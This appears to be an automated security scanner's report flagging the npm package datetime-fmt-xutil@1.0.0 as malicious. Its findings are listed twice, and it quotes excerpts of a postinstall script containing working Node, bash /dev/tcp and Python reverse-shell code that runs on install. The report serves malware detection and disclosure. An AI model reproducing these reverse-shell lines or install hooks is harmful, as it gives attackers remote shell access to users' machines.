datetime-fmt-xutil@1.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

datetime-fmt-xutil@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync, spawn } = require('child_process'); L2: const net = require('net'); L3: const http = require('http'); ... L10: var c = net.connect(PORT, VPS, function() { L11: var sh = spawn('/bin/sh', []); L12: c.pipe(sh.stdin); L13: sh.stdout.pipe(c); L14: sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: const { execSync, spawn } = require('child_process'); L2: const net = require('net'); L3: const http = require('http'); ... L10: var c = net.connect(PORT, VPS, function() { L11: var sh = spawn('/bin/sh', []); L12: c.pipe(sh.stdin); L13: sh.stdout.pipe(c); L14: sh.stderr.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync, spawn } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = datetime-format-xutil@1.0.0 matchedPath = postinstall.js matchedIdentity = npm:ZGF0ZXRpbWUtZm9ybWF0LXh1dGls:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

postinstall.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5ee084ca150ea0b8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = datetime-format-xutil@1.0.0 matchedPath = postinstall.js matchedIdentity = npm:ZGF0ZXRpbWUtZm9ybWF0LXh1dGls:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

16c.on('error', function() { // 方式2: 尝试 bash 反弹 try { execSync(`bash -i >& /dev/tcp/${VPS}/${PORT} 0>&1`); } catch(e) { // 方式3: python 反弹 try { execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'`);

High

Ai Review Evidence

Fallback commands invoke interactive Bash and Python reverse shells.

postinstall.jsView on unpkg · L16

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync, spawn } = require('child_process'); L2: const net = require('net'); L3: const http = require('http'); ... L10: var c = net.connect(PORT, VPS, function() { L11: var sh = spawn('/bin/sh', []); L12: c.pipe(sh.stdin); L13: sh.stdout.pipe(c); L14: sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: const { execSync, spawn } = require('child_process'); L2: const net = require('net'); L3: const http = require('http'); ... L10: var c = net.connect(PORT, VPS, function() { L11: var sh = spawn('/bin/sh', []); L12: c.pipe(sh.stdin); L13: sh.stdout.pipe(c); L14: sh.stderr.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync, spawn } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = datetime-format-xutil@1.0.0 matchedPath = postinstall.js matchedIdentity = npm:ZGF0ZXRpbWUtZm9ybWF0LXh1dGls:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

postinstall.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5ee084ca150ea0b8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = datetime-format-xutil@1.0.0 matchedPath = postinstall.js matchedIdentity = npm:ZGF0ZXRpbWUtZm9ybWF0LXh1dGls:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

16c.on('error', function() { // 方式2: 尝试 bash 反弹 try { execSync(`bash -i >& /dev/tcp/${VPS}/${PORT} 0>&1`); } catch(e) { // 方式3: python 反弹 try { execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'`);

High

Ai Review Evidence

Fallback commands invoke interactive Bash and Python reverse shells.

postinstall.jsView on unpkg · L16